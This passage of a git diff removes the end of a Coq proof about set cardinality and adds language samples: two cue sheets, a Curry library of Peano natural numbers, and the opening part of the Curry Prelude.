-destruct (le_lt_dec (f xSn) (f x)) as [Hle|Hge].
-change m with (pred (S m)).
-apply le_pred.
-apply Hfbound.
-apply le_S_n.
-apply le_trans with (f xSn).
-exact Hge.
-apply Hfbound.
-split.
-(* f' is injective *)
-unfold f'.
-intros (x,Hneqx) (y,Hneqy) Heqf'.
-destruct (le_lt_dec (f xSn) (f x)) as [Hlefx|Hgefx];
-destruct (le_lt_dec (f xSn) (f y)) as [Hlefy|Hgefy].
-(* f xSn <= f x et f xSn <= f y *)
-assert (Heq : x = y).
-  apply Hfinj.
-  assert (f xSn <> f y).
-    apply sym_not_eq.
-    intro Heqf.
-    apply Hneqy.
-    apply Hfinj.
-    assumption.
-  assert (0 < f y).
-    apply le_lt_trans with (f xSn).
-    apply le_O_n.
-    apply le_neq_lt; assumption.
-  assert (f xSn <> f x).
-    apply sym_not_eq.
-    intro Heqf.
-    apply Hneqx.
-    apply Hfinj.
-    assumption.
-  assert (0 < f x).
-    apply le_lt_trans with (f xSn).
-    apply le_O_n.
-    apply le_neq_lt; assumption.
-  apply pred_inj.
-  apply lt_O_neq; assumption.
-  apply lt_O_neq; assumption.
-  assumption.
-apply neq_dep_intro; assumption.
-(* f y < f xSn <= f x *)
-destruct (inj_restrict A f x y xSn); assumption.
-(* f x < f xSn <= f y *)
-symmetry in Heqf'.
-destruct (inj_restrict A f y x xSn); assumption.
-(* f x < f xSn et f y < f xSn *)
-assert (Heq : x=y).
-  apply Hfinj; assumption.
-apply neq_dep_intro; assumption.
-(* f' is surjective *)
-intros p Hlep.
-destruct (le_lt_dec (f xSn) p) as [Hle|Hlt].
-(* case f xSn <= p *)
-destruct (Hfsurj (S p) (le_n_S _ _ Hlep)) as (x,Hx).
-assert (Hneq : x <> xSn).
-  intro Heqx.
-  rewrite Heqx in Hx.
-  rewrite Hx in Hle.
-  apply le_Sn_n with p; assumption.
-exists (exist (fun a => a<>xSn) x Hneq).
-unfold f'.
-destruct (le_lt_dec (f xSn) (f x)) as [Hle'|Hlt'].
-rewrite Hx; reflexivity.
-rewrite Hx in Hlt'.
-contradiction (le_not_lt (f xSn) p).
-apply lt_trans with (S p).
-apply lt_n_Sn.
-assumption.
-(* case p < f xSn *)
-destruct (Hfsurj p (le_S _ _ Hlep)) as (x,Hx).
-assert (Hneq : x <> xSn).
-  intro Heqx.
-  rewrite Heqx in Hx.
-  rewrite Hx in Hlt.
-  apply (lt_irrefl p).
-  assumption.
-exists (exist (fun a => a<>xSn) x Hneq).
-unfold f'.
-destruct (le_lt_dec (f xSn) (f x)) as [Hle'|Hlt'].
-  rewrite Hx in Hle'.
-  contradiction (lt_irrefl p).
-  apply lt_le_trans with (f xSn); assumption.
-  assumption.
-(* cardinality of {x:A|x<>xSn} is n *)
-pose (g' := fun x' : {x:A|x<>xSn} =>
-   let (x,Hneq) := x' in
-   if Hdec x xSn then 0 else g x).
-exists g'.
-split.
-(* g is bounded *)
-unfold g'.
-intros (x,_).
-destruct (Hdec x xSn) as [_|Hneq].
-apply le_O_n.
-assert (Hle_gx:=Hgbound x).
-destruct (le_lt_or_eq _ _ Hle_gx).
-apply lt_n_Sm_le.
-assumption.
-contradiction Hneq.
-apply Hginj.
-rewrite HSnx.
-assumption.
-split.
-(* g is injective *)
-unfold g'.
-intros (x,Hneqx) (y,Hneqy) Heqg'.
-destruct (Hdec x xSn) as [Heqx|_].
-contradiction Hneqx.
-destruct (Hdec y xSn) as [Heqy|_].
-contradiction Hneqy.
-assert (Heq : x=y).
-  apply Hginj; assumption.
-apply neq_dep_intro; assumption.
-(* g is surjective *)
-intros p Hlep.
-destruct (Hgsurj p (le_S _ _ Hlep)) as (x,Hx).
-assert (Hneq : x<>xSn).
-  intro Heq.
-  rewrite Heq in Hx.
-  rewrite Hx in HSnx.
-  rewrite HSnx in Hlep.
-  contradiction (le_Sn_n _ Hlep).
-exists (exist (fun a => a<>xSn) x Hneq).
-simpl.
-destruct (Hdec x xSn) as [Heqx|_].
-contradiction Hneq.
-assumption.
-Qed.
-
-(** Conclusion *)
-
-Theorem interval_discr :
-  forall n m, {p:nat|p<=n} = {p:nat|p<=m} -> n=m.
-Proof.
-intros n m Heq.
-apply card_inj with (A := {p:nat|p<=n}).
-apply interval_dec.
-apply card_interval.
-rewrite Heq.
-apply card_interval.
-Qed.
diff --git a/samples/Cue Sheet/sample1.cue b/samples/Cue Sheet/sample1.cue
new file mode 100644
index 0000000000..9536b591cf
--- /dev/null
+++ b/samples/Cue Sheet/sample1.cue	
@@ -0,0 +1,37 @@
+REM GENRE Electronica
+REM DATE 1998
+PERFORMER "Faithless"
+TITLE "Live in Berlin"
+FILE "Faithless - Live in Berlin.mp3" MP3
+  TRACK 01 AUDIO
+    TITLE "Reverence"
+    PERFORMER "Faithless"
+    INDEX 01 00:00:00
+  TRACK 02 AUDIO
+    TITLE "She's My Baby"
+    PERFORMER "Faithless"
+    INDEX 01 06:42:00
+  TRACK 03 AUDIO
+    TITLE "Take the Long Way Home"
+    PERFORMER "Faithless"
+    INDEX 01 10:54:00
+  TRACK 04 AUDIO
+    TITLE "Insomnia"
+    PERFORMER "Faithless"
+    INDEX 01 17:04:00
+  TRACK 05 AUDIO
+    TITLE "Bring the Family Back"
+    PERFORMER "Faithless"
+    INDEX 01 25:44:00
+  TRACK 06 AUDIO
+    TITLE "Salva Mea"
+    PERFORMER "Faithless"
+    INDEX 01 30:50:00
+  TRACK 07 AUDIO
+    TITLE "Dirty Old Man"
+    PERFORMER "Faithless"
+    INDEX 01 38:24:00
+  TRACK 08 AUDIO
+    TITLE "God Is a DJ"
+    PERFORMER "Faithless"
+    INDEX 01 42:35:00
diff --git a/samples/Cue Sheet/sample2.cue b/samples/Cue Sheet/sample2.cue
new file mode 100644
index 0000000000..a33dec9996
--- /dev/null
+++ b/samples/Cue Sheet/sample2.cue	
@@ -0,0 +1,3 @@
+FILE "sampleimage.bin" BINARY
+  TRACK 01 MODE1/2352
+    INDEX 01 00:00:00
diff --git a/samples/Curry/Nat.curry b/samples/Curry/Nat.curry
new file mode 100644
index 0000000000..40f2569b6f
--- /dev/null
+++ b/samples/Curry/Nat.curry
@@ -0,0 +1,100 @@
+------------------------------------------------------------------------------
+--- Library defining natural numbers in Peano representation and
+--- some operations on this representation.
+---
+--- @author Michael Hanus
+--- @version January 2019
+------------------------------------------------------------------------------
+
+module Data.Nat
+  ( Nat(..), fromNat, toNat, add, sub, mul, leq
+  ) where
+
+import Test.Prop
+
+--- Natural numbers defined in Peano representation.
+--- Thus, each natural number is constructor by a `Z` (zero)
+--- or `S` (successor) constructor.
+data Nat = Z | S Nat
+ deriving (Eq,Show)
+
+--- Transforms a natural number into a standard integer.
+fromNat :: Nat -> Int
+fromNat Z     = 0
+fromNat (S n) = 1 + fromNat n
+
+-- Postcondition: the result of `fromNat` is not negative
+fromNat'post :: Nat -> Int -> Bool
+fromNat'post _ n = n >= 0
+
+--- Transforms a standard integer into a natural number.
+toNat :: Int -> Nat
+toNat n | n == 0 = Z
+        | n > 0  = S (toNat (n-1))
+
+-- Precondition: `toNat` must be called with non-negative numbers
+toNat'pre :: Int -> Bool
+toNat'pre n = n >= 0
+
+-- Property: transforming natural numbers into integers and back is the identity
+fromToNat :: Nat -> Prop
+fromToNat n = toNat (fromNat n) -=- n
+
+toFromNat :: Int -> Prop
+toFromNat n = n>=0 ==> fromNat (toNat n) -=- n
+
+--- Addition on natural numbers.
+add :: Nat -> Nat -> Nat
+add Z     n = n
+add (S m) n = S(add m n)
+
+-- Property: addition is commutative
+addIsCommutative :: Nat -> Nat -> Prop
+addIsCommutative x y = add x y -=- add y x
+
+-- Property: addition is associative
+addIsAssociative :: Nat -> Nat -> Nat -> Prop
+addIsAssociative x y z = add (add x y) z -=- add x (add y z)
+
+--- Subtraction defined by reversing addition.
+sub :: Nat -> Nat -> Nat
+sub x y | add y z == x  = z where z free
+
+-- Properties: subtracting a value which was added yields the same value
+subAddL :: Nat -> Nat -> Prop
+subAddL x y = sub (add x y) x -=- y
+
+subAddR :: Nat -> Nat -> Prop
+subAddR x y = sub (add x y) y -=- x
+
+--- Multiplication on natural numbers.
+mul :: Nat -> Nat -> Nat
+mul Z     _ = Z
+mul (S m) n = add n (mul m n)
+
+-- Property: multiplication is commutative
+mulIsCommutative :: Nat -> Nat -> Prop
+mulIsCommutative x y = mul x y -=- mul y x
+
+-- Property: multiplication is associative
+mulIsAssociative :: Nat -> Nat -> Nat -> Prop
+mulIsAssociative x y z = mul (mul x y) z -=- mul x (mul y z)
+
+-- Properties: multiplication is distributive over addition
+distMulAddL :: Nat -> Nat -> Nat -> Prop
+distMulAddL x y z = mul x (add y z) -=- add (mul x y) (mul x z)
+
+distMulAddR :: Nat -> Nat -> Nat -> Prop
+distMulAddR x y z = mul (add y z) x -=- add (mul y x) (mul z x)
+
+-- less-or-equal predicated on natural numbers:
+leq :: Nat -> Nat -> Bool
+leq Z     _     = True
+leq (S _) Z     = False
+leq (S x) (S y) = leq x y
+
+-- Property: adding a number yields always a greater-or-equal number
+leqAdd :: Nat -> Nat -> Prop
+leqAdd x y = always $ leq x (add x y)
+
+------------------------------------------------------------------------------
diff --git a/samples/Curry/Prelude.curry b/samples/Curry/Prelude.curry
new file mode 100644
index 0000000000..448d551ff7
--- /dev/null
+++ b/samples/Curry/Prelude.curry
@@ -0,0 +1,2114 @@
+--------------------------------------------------------------------------------
+--- The standard prelude of Curry with type classes.
+--- All exported functions, data types, type classes
+--- and methods defined in this module are always
+--- available in any Curry program.
+--------------------------------------------------------------------------------
+{-# LANGUAGE CPP #-}
+{-# OPTIONS_FRONTEND -Wno-incomplete-patterns -Wno-overlapping #-}
+
+module Prelude
+  (
+  -- * Basic Datatypes
+    Char (..), Int (..), Float (..)
+--++   , () (..), (,) (..), (,,) (..), (,,,) (..), (,,,,) (..)
+--++   , [] (..), (->) (..)
+  , Bool (..), Ordering (..), Maybe (..), Either (..)
+
+  -- * Type Classes
+  , Data(..), Eq (..) , Ord (..)
+  , Show (..), ShowS, shows, showChar, showString, showParen
+  , Read (..), ReadS, reads, readParen, read, lex
+  , Bounded (..), Enum (..)
+  -- ** Numerical Typeclasses
+  , Num (..), Fractional (..), Real (..)
+  , Integral (..), even, odd, fromIntegral, realToFrac, (^)
+  , RealFrac (..), Floating (..), Monoid (..)
+  -- Type Constructor Classes
+  , Functor (..), Applicative (..), Alternative (..)
+  , Monad (..), MonadFail(..)
+  , liftM2, sequence, sequence_, mapM, mapM_
+
+  -- * Operations on Characters
+  , isUpper, isLower, isAlpha, isDigit, isAlphaNum
+  , isBinDigit, isOctDigit, isHexDigit, isSpace
+  , ord, chr
+  , String, lines, unlines, words, unwords
+
+  -- * Operations on Lists
+  , head, tail, null, (++), length, (!!), map, foldl, foldl1, foldr, foldr1
+  , filter, zip, zip3, zipWith, zipWith3, unzip, unzip3, concat, concatMap
+  , iterate, repeat, replicate, take, drop, splitAt, takeWhile, dropWhile
+  , span, break, reverse, and, or, any, all, elem, notElem, lookup, (<$>)
+
+  -- * Evaluation
+  , ($), ($!), ($!!), ($#), ($##), seq, ensureNotFree, ensureSpine
+  , normalForm, groundNormalForm
+
+  -- * Other Functions
+  , (.), id, const, asTypeOf, curry, uncurry, flip, until
+  , (&&), (||), not, otherwise, ifThenElse, maybe, either, fst, snd
+  , failed, error
+
+  -- * IO-Type and Operations
+  , IO, getChar, getLine, putChar, putStr, putStrLn, print
+  , FilePath, readFile, writeFile, appendFile
+  , IOError (..), userError, ioError, catch
+
+  -- * Constraint Programming
+  , Success, success, solve, doSolve, (=:=), (=:<=)
+#ifdef __PAKCS__
+  , (=:<<=)
+#endif
+  , (&), (&>)
+
+  -- * Non-determinism
+  , (?), anyOf, unknown
+
+  -- * Internal Functions
+  , apply, cond
+#ifdef __PAKCS__
+  , letrec, failure
+#endif
+  ) where
+
+infixr 9 .
+infixl 9 !!
+infixl 7 *, /, `div`, `mod`, `quot`, `rem`
+infixl 6 +, -
+infixr 5 ++
+--++ The (:) operator is built-in syntax with the following fixity:
+--++ infixr 5 :
+infix  4 ==, /=, <, >, <=, >=
+infix  4 =:=, =:<=, ===
+#ifdef __PAKCS__
+infix  4 =:<<=
+#endif
+infix  4 `elem`, `notElem`
+infixl 4 <$, <$>, <*>, <*, *>
+infixl 3 <|>
+infixr 3 &&
+infixr 2 ||
+infixl 1 >>, >>=
+infixr 0 ?, $, $!, $!!, $#, $##, `seq`, &, &>
+
+external data Char
+
+external data Int
+
+external data Float
+
+data Bool = False | True
+
+data Ordering = LT | EQ | GT
+
+------------------------------------------------------------------------------
+--++ data () = ()
+
+--++ data (a, b) = (a, b)
+--++ data (a, b, c) = (a, b, c)
+--++ data (a, b, c, d) = (a, b, c, d)
+--++ data (a, b, c, d, e) = (a, b, c, d, e)
+--++ ...
+
+--++ data [a] = [] | a : [a]
+
+--++ data (->) a b
+
+class Data a where
+  (===)  :: a -> a -> Bool
+  aValue :: a
+
+instance Data Char where
+  (===) = (==)
+  aValue = aValueChar
+
+instance Data Int where
+  (===) = (==)
+  aValue = aValueInt
+
+instance Data Float where
+  (===) = (==)
+  aValue = aValueFloat
+
+instance Data a => Data [a] where
+  []     === []     = True
+  []     === (_:_)  = False
+  (_:_)  === []     = False
+  (x:xs) === (y:ys) = x === y && xs === ys
+
+  aValue = [] ? (aValue:aValue)
+
+instance Data () where
+  () === () = True
+  aValue = ()
+
+instance (Data a, Data b) => Data (a, b) where
+  (a1, b1) === (a2, b2) = a1 === a2 && b1 === b2
+  aValue = (aValue, aValue)
+
+instance (Data a, Data b, Data c) => Data (a, b, c) where
+  (a1, b1, c1) === (a2, b2, c2) = a1 === a2 && b1 === b2 && c1 === c2
+  aValue = (aValue, aValue, aValue)
+
+instance (Data a, Data b, Data c, Data d) => Data (a, b, c, d) where
+  (a1, b1, c1, d1) === (a2, b2, c2, d2) =
+    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2
+  aValue = (aValue, aValue, aValue, aValue)
+
+instance (Data a, Data b, Data c, Data d, Data e) => Data (a, b, c, d, e) where
+  (a1, b1, c1, d1, e1) === (a2, b2, c2, d2, e2) =
+    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2 && e1 === e2
+  aValue = (aValue, aValue, aValue, aValue, aValue)
+
+instance (Data a, Data b, Data c, Data d, Data e, Data f) =>
+         Data (a, b, c, d, e, f) where
+  (a1, b1, c1, d1, e1, f1) === (a2, b2, c2, d2, e2, f2) =
+    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2 && e1 === e2 && f1 === f2
+  aValue = (aValue, aValue, aValue, aValue, aValue, aValue)
+
+instance (Data a, Data b, Data c, Data d, Data e, Data f, Data g) =>
+         Data (a, b, c, d, e, f, g) where
+  (a1, b1, c1, d1, e1, f1, g1) === (a2, b2, c2, d2, e2, f2, g2) =
+    a1 === a2 && b1 === b2 && c1 === c2 && d1 === d2 && e1 === e2 &&
+    f1 === f2 && g1 === g2
+  aValue = (aValue, aValue, aValue, aValue, aValue, aValue, aValue)
+
+-- Value generator for integers.
+aValueInt :: Int
+aValueInt = genPos 1 ? 0  ?  0 - genPos 1
+ where
+  genPos n = n  ?  genPos (2 * n)  ?  genPos (2 * n + 1)
+
+-- Value generator for chars.
+aValueChar :: Char
+aValueChar = foldr1 (?) [minBound .. maxBound]
+
+-- Value generator for floats.
+-- Since there is no good way to enumerate floats, a free variable
+-- is returned.
+aValueFloat :: Float
+aValueFloat = x where x free
+
+------------------------------------------------------------------------------
+
+class Eq a where
+  (==), (/=) :: a -> a -> Bool
+
+  x == y = not (x /= y)
+  x /= y = not (x == y)
+
+instance Eq Char where
+  c == c' = c `eqChar` c'
+
+instance Eq Int where
+  i == i' = i `eqInt` i'
+
+instance Eq Float where
+  f == f' = f `eqFloat` f'
+
+instance Eq () where
+  () == () = True
+
+instance (Eq a, Eq b) => Eq (a, b) where
+  (a, b) == (a', b') = a == a' && b == b'
+
+instance (Eq a, Eq b, Eq c) => Eq (a, b, c) where
+  (a, b, c) == (a', b', c') = a == a' && b == b' && c == c'
+
+instance (Eq a, Eq b, Eq c, Eq d) => Eq (a, b, c, d) where
+  (a, b, c, d) == (a', b', c', d') = a == a' && b == b' && c == c' && d == d'
+
+instance (Eq a, Eq b, Eq c, Eq d, Eq e) => Eq (a, b, c, d, e) where
+  (a, b, c, d, e) == (a', b', c', d', e') =
+    a == a' && b == b' && c == c' && d == d' && e == e'
+
+instance Eq a => Eq [a] where
+  []     == []     = True
+  []     == (_:_)  = False
+  (_:_)  == []     = False
+  (x:xs) == (y:ys) = x == y && xs == ys
+
+instance Eq Bool where
+  False == False = True
+  False == True  = False
+  True  == False = False
+  True  == True  = True
+
+instance Eq Ordering where
+  LT == LT = True
+  LT == EQ = False
+  LT == GT = False
+  EQ == LT = False
+  EQ == EQ = True
+  EQ == GT = False
+  GT == LT = False
+  GT == EQ = False
+  GT == GT = True
+
+-- Equality on characters.
+eqChar :: Char -> Char -> Bool
+#ifdef __KICS2__
+eqChar external
+#elif defined(__PAKCS__)
+eqChar x y = (prim_eqChar $# y) $# x
+
+prim_eqChar :: Char -> Char -> Bool
+prim_eqChar external
+#endif
+
+-- Equality on integers.
+eqInt :: Int -> Int -> Bool
+#ifdef __KICS2__
+eqInt external
+#elif defined(__PAKCS__)
+eqInt x y = (prim_eqInt $# y) $# x
+
+prim_eqInt :: Int -> Int -> Bool
+prim_eqInt external
+#endif
+
+-- Equality on floating point numbers.
+eqFloat :: Float -> Float -> Bool
+#ifdef __KICS2__
+eqFloat external
+#elif defined(__PAKCS__)
+eqFloat x y = (prim_eqFloat $# y) $# x
+
+prim_eqFloat :: Float -> Float -> Bool
+prim_eqFloat external
+#endif
+
+
+class Eq a => Ord a where
+  compare :: a -> a -> Ordering
+  (<), (>), (<=), (>=) :: a -> a -> Bool
+  min, max :: a -> a -> a
+
+  compare x y | x == y = EQ
+              | x <= y = LT
+              | otherwise = GT
+  x < y = x <= y && x /= y
+  x > y = not (x <= y)
+  x <= y = compare x y == EQ || compare x y == LT
+  x >= y = y <= x
+  min x y | x <= y = x
+          | otherwise = y
+  max x y | x >= y = x
+          | otherwise = y
+
+instance Ord Char where
+  c1 <= c2 = c1 `ltEqChar` c2
+
+instance Ord Int where
+  i1 <= i2 = i1 `ltEqInt` i2
+
+instance Ord Float where
+  f1 <= f2 = f1 `ltEqFloat` f2
+
+instance Ord () where
+  () <= () = True
+
+instance (Ord a, Ord b) => Ord (a, b) where
+  (a, b) <= (a', b') = a < a' || (a == a' && b <= b')
+
+instance (Ord a, Ord b, Ord c) => Ord (a, b, c) where
+  (a, b, c) <= (a', b', c') = a < a'
+    || (a == a' && b < b')
+    || (a == a' && b == b' && c <= c')
+
+instance (Ord a, Ord b, Ord c, Ord d) => Ord (a, b, c, d) where
+  (a, b, c, d) <= (a', b', c', d') = a < a'
+    || (a == a' && b < b')
+    || (a == a' && b == b' && c < c')
+    || (a == a' && b == b' && c == c' && d <= d')
+
+instance (Ord a, Ord b, Ord c, Ord d, Ord e) => Ord (a, b, c, d, e) where
+  (a, b, c, d, e) <= (a', b', c', d', e') = a < a'
+    || (a == a' && b < b')
+    || (a == a' && b == b' && c < c')
+    || (a == a' && b == b' && c == c' && d < d')
+    || (a == a' && b == b' && c == c' && d == d' && e <= e')
+
+instance Ord a => Ord [a] where
+  []     <= []     = True
+  (_:_)  <= []     = False
+  []     <= (_:_)  = True
+  (x:xs) <= (y:ys) | x == y    = xs <= ys
+                   | otherwise = x < y
+
+instance Ord Bool where
+  False <= False = True
+  False <= True  = True
+  True  <= False = False
+  True  <= True  = True
+
+instance Ord Ordering where
+  LT <= LT = True
+  LT <= EQ = True
+  LT <= GT = True
+  EQ <= LT = False
+  EQ <= EQ = True
+  EQ <= GT = True
+  GT <= LT = False
+  GT <= EQ = False
+  GT <= GT = True
+
+-- Compares two characters.
+ltEqChar :: Char -> Char -> Bool
+#ifdef __KICS2__
+ltEqChar external
+#elif defined(__PAKCS__)
+ltEqChar x y = (prim_ltEqChar $# y) $# x
+
+prim_ltEqChar :: Char -> Char -> Bool
+prim_ltEqChar external
+#endif
+
+-- Compares two integers.
+ltEqInt :: Int -> Int -> Bool
+#ifdef __KICS2__
+ltEqInt external
+#elif defined(__PAKCS__)
+ltEqInt x y = (prim_ltEqInt $# y) $# x
+
+prim_ltEqInt :: Int -> Int -> Bool
+prim_ltEqInt external
+#endif
+
+-- Compares two floating point numbers.
+ltEqFloat :: Float -> Float -> Bool
+#ifdef __KICS2__
+ltEqFloat external
+#elif defined(__PAKCS__)
+ltEqFloat x y = (prim_ltEqFloat $# y) $# x
+
+prim_ltEqFloat :: Float -> Float -> Bool
+prim_ltEqFloat external
+#endif
+
+type ShowS = String -> String
+
+class Show a where
+  show :: a -> String
+  showsPrec :: Int -> a -> ShowS
+  showList :: [a] -> ShowS
+
+  show x = shows x ""
+  showsPrec _ x s = show x ++ s
+  showList = showListDefault
+
+instance Show Char where
+  showsPrec _ c = showString (showCharLiteral c)
+  showList cs | null cs   = showString "\"\""
+              | otherwise = showString (showStringLiteral cs)
+
+instance Show Int where
+  showsPrec = showSigned (showString . showIntLiteral)
+
+instance Show Float where
+  showsPrec = showSigned (showString . showFloatLiteral)
+
+instance Show () where
+  showsPrec _ () = showString "()"
+
+instance (Show a, Show b) => Show (a, b) where
+  showsPrec _ (a, b) = showTuple [shows a, shows b]
+
+instance (Show a, Show b, Show c) => Show (a, b, c) where
+  showsPrec _ (a, b, c) = showTuple [shows a, shows b, shows c]
+
+instance (Show a, Show b, Show c, Show d) => Show (a, b, c, d) where
+  showsPrec _ (a, b, c, d) = showTuple [shows a, shows b, shows c, shows d]
+
+instance (Show a, Show b, Show c, Show d, Show e) => Show (a, b, c, d, e) where
+  showsPrec _ (a, b, c, d, e) =
+    showTuple [shows a, shows b, shows c, shows d, shows e]
+
+instance Show a => Show [a] where
+  showsPrec _ = showList
+
+instance Show Bool where
+  showsPrec _ False = showString "False"
+  showsPrec _ True  = showString "True"
+
+instance Show Ordering where
+  showsPrec _ LT = showString "LT"
+  showsPrec _ EQ = showString "EQ"
+  showsPrec _ GT = showString "GT"
+
+shows :: Show a => a -> ShowS
+shows = showsPrec 0
+
+showChar :: Char -> ShowS
+showChar = (:)
+
+showString :: String -> ShowS
+showString str s = foldr showChar s str
+
+showListDefault :: Show a => [a] -> ShowS
+showListDefault []     s = "[]" ++ s
+showListDefault (x:xs) s = '[' : shows x (showl xs)
+ where showl []     = ']' : s
+       showl (y:ys) = ',' : shows y (showl ys)
+
+showParen :: Bool -> ShowS -> ShowS
+showParen b s = if b then showChar '(' . s . showChar ')' else s
+
+showSigned :: Real a => (a -> ShowS) -> Int -> a -> ShowS
+showSigned showPos p x
+  | x < 0     = showParen (p > 6) (showChar '-' . showPos (-x))
+  | otherwise = showPos x
+
+showTuple :: [ShowS] -> ShowS
+showTuple ss = showChar '('
+             . foldr1 (\s r -> s . showChar ',' . r) ss
+             . showChar ')'
+
+-- Returns the string representation of a character.
+showCharLiteral :: Char -> String
+showCharLiteral x = prim_showCharLiteral $## x
+
+prim_showCharLiteral :: Char -> String
+prim_showCharLiteral external
+
+-- Returns the string representation of a string.
+showStringLiteral :: String -> String
+showStringLiteral x = prim_showStringLiteral $## x
+
+prim_showStringLiteral :: String -> String
+prim_showStringLiteral external
+
+-- Returns the string representation of an integer.
+showIntLiteral :: Int -> String
+showIntLiteral x = prim_showIntLiteral $## x
+
+prim_showIntLiteral :: Int -> String
+prim_showIntLiteral external
+
+-- Returns the string representation of a floating point number.
+showFloatLiteral :: Float -> String
+showFloatLiteral x = prim_showFloatLiteral $## x
+
+prim_showFloatLiteral :: Float -> String
+prim_showFloatLiteral external
+
+type ReadS a = String -> [(a, String)]
+
+class Read a where
+  readsPrec :: Int -> ReadS a
+  readList :: ReadS [a]
+
+  readList = readListDefault
+
+instance Read Char where
+  readsPrec _ = readParen False
+                  (\s -> [ (c, t) | (x, t) <- lex s, not (null x)
+                                  , head x == '\''
+                                  , (c, []) <- readCharLiteral x ])
+  readList xs = readParen False
+                  (\s -> [ (cs, t) | (x, t) <- lex s, not (null x)
+                                   , head x == '"'
+                                   , (cs, []) <- readStringLiteral x ]) xs
+                ++ readListDefault xs
+
+instance Read Int where
+  readsPrec _ = readSigned (\s -> [ (i, t) | (x, t) <- lexDigits s
+                                           , (i, []) <- readNatLiteral x ])
+
+instance Read Float where
+  readsPrec _ = readSigned
+                  (\s -> [ (f, t) | (x, t) <- lex s, not (null x)
+                                  , isDigit (head x), (f, []) <- readFloat x ])
+   where
+    readFloat x = if all isDigit x
+                    then [(fromInt i, t) | (i, t) <- readNatLiteral x]
+                    else readFloatLiteral x
+
+instance Read () where
+  readsPrec _ = readParen False (\r -> [ ((), t) | ("(", s) <- lex r
+                                                 , (")", t) <- lex s ])
+
+instance (Read a, Read b) => Read (a, b) where
+  readsPrec _ = readParen False (\r -> [ ((a, b), w) | ("(", s) <- lex r
+                                                     , (a, t) <- reads s
+                                                     , (",", u) <- lex t
+                                                     , (b, v) <- reads u
+                                                     , (")", w) <- lex v ])
+
+instance (Read a, Read b, Read c) => Read (a, b, c) where
+  readsPrec _ = readParen False (\r -> [ ((a, b, c), y) | ("(", s) <- lex r
+                                                        , (a, t) <- reads s
+                                                        , (",", u) <- lex t
+                                                        , (b, v) <- reads u
+                                                        , (",", w) <- lex v
+                                                        , (c, x) <- reads w
+                                                        , (")", y) <- lex x ])
+
+instance (Read a, Read b, Read c, Read d) => Read (a, b, c, d) where
+  readsPrec _ = readParen False
+                  (\q -> [ ((a, b, c, d), z) | ("(", r) <- lex q
+                                             , (a, s) <- reads r
+                                             , (",", t) <- lex s
+                                             , (b, u) <- reads t
+                                             , (",", v) <- lex u
+                                             , (c, w) <- reads v
+                                             , (",", x) <- lex w
+                                             , (d, y) <- reads x
+                                             , (")", z) <- lex y ])
+
+instance (Read a, Read b, Read c, Read d, Read e) => Read (a, b, c, d, e) where
+  readsPrec _ = readParen False
+                  (\o -> [ ((a, b, c, d, e), z) | ("(", p) <- lex o
+                                                , (a, q) <- reads p
+                                                , (",", r) <- lex q
+                                                , (b, s) <- reads r
+                                                , (",", t) <- lex s
+                                                , (c, u) <- reads t
+                                                , (",", v) <- lex u
+                                                , (d, w) <- reads v
+                                                , (",", x) <- lex w
+                                                , (e, y) <- reads x
+                                                , (")", z) <- lex y ])
+
+instance Read a => Read [a] where
+  readsPrec _ = readList
+
+instance Read Bool where
+  readsPrec _ r =
+    readParen False (\s -> [(False, t) | ("False", t) <- lex s]) r ++
+      readParen False (\s -> [(True, t) | ("True", t) <- lex s]) r
+
+instance Read Ordering where
+  readsPrec _ r =
+    readParen False (\s -> [(LT, t) | ("LT", t) <- lex s]) r ++
+      readParen False (\s -> [(EQ, t) | ("EQ", t) <- lex s]) r ++
+      readParen False (\s -> [(GT, t) | ("GT", t) <- lex s]) r
+
+reads :: Read a => ReadS a
+reads = readsPrec 0
+
+readListDefault :: Read a => ReadS [a]
+readListDefault = readParen False (\r -> [pr | ("[",s) <- lex r, pr <- readl s])
+ where readl s = [([], t) | ("]", t) <- lex s] ++
+                   [(x : xs, u) | (x, t) <- reads s, (xs, u) <- readl' t]
+       readl' s = [([], t) | ("]", t) <- lex s] ++
+                   [ (x : xs, v) | (",", t)  <- lex s, (x, u) <- reads t
+                                 , (xs,v) <- readl' u ]
+
+readParen :: Bool -> ReadS a -> ReadS a
+readParen b g = if b then mandatory else optional
+ where optional r = g r ++ mandatory r
+       mandatory r =
+         [(x, u) | ("(", s) <- lex r, (x, t) <- optional s, (")", u) <- lex t]
+
+readSigned :: Real a => ReadS a -> ReadS a
+readSigned p = readParen False read'
+ where read' r = read'' r ++ [(-x, t) | ("-", s) <- lex r, (x, t) <- read'' s]
+       read'' r = [(n, s) | (str, s) <- lex r, (n, "") <- p str]
+
+read :: Read a => String -> a
+read s =  case [x | (x, t) <- reads s, ("", "") <- lex t] of
+  [x] -> x
+
+lex :: ReadS String
+lex xs = case xs of
+  ""                  -> [("", "")]
+  (c:cs) | isSpace c  -> lex $ dropWhile isSpace cs
+  ('\'':s)            ->
+    [('\'' : ch ++ "'", t) | (ch, '\'' : t)  <- lexCharLiteral s, ch /= "'"]
+  ('"':s)             -> [('"' : str, t) | (str, t) <- lexString s]
+  (c:cs) | isSingle c -> [([c], cs)]
+         | isSymbol c -> [(c : sym, t) | (sym, t) <- [span isSymbol cs]]
+         | isAlpha c  -> [(c : nam, t) | (nam, t) <- [span isIdChar cs]]
+         | isDigit c  -> [ (c : ds ++ fe, t) | (ds, s) <- [span isDigit cs]
+                                             , (fe, t) <- lexFracExp s ]
+         | otherwise  -> []
+ where
+  isSingle c = c `elem` ",;()[]{}_`"
+  isSymbol c = c `elem` "!@#$%&*+./<=>?\\^|:-~"
+  isIdChar c = isAlphaNum c || c `elem` "_'"
+  lexFracExp s = case s of
+    ('.':c:cs) | isDigit c ->
+      [('.' : ds ++ e, u) | (ds, t) <- lexDigits (c : cs), (e, u) <- lexExp t]
+    _                      -> lexExp s
+  lexExp s = case s of
+    (e:cs) | e `elem` "eE" ->
+      [ (e : c : ds, u) | (c:t) <- [cs], c `elem` "+-"
+                        , (ds, u) <- lexDigits t ] ++
+        [(e : ds, t) | (ds, t) <- lexDigits cs]
+    _                      -> [("", s)]
+  lexString s = case s of
+    ('"':cs) -> [("\"", cs)]
+    _        -> [ (ch ++ str, u) | (ch, t) <- lexStringItem s
+                                  , (str, u) <- lexString t ]
+  lexStringItem s = case s of
+    ('\\':'&':cs)           -> [("\\&", cs)]
+    ('\\':c:cs) | isSpace c -> [("\\&", t) | '\\':t <- [dropWhile isSpace cs]]
+    _                       -> lexCharLiteral s
+
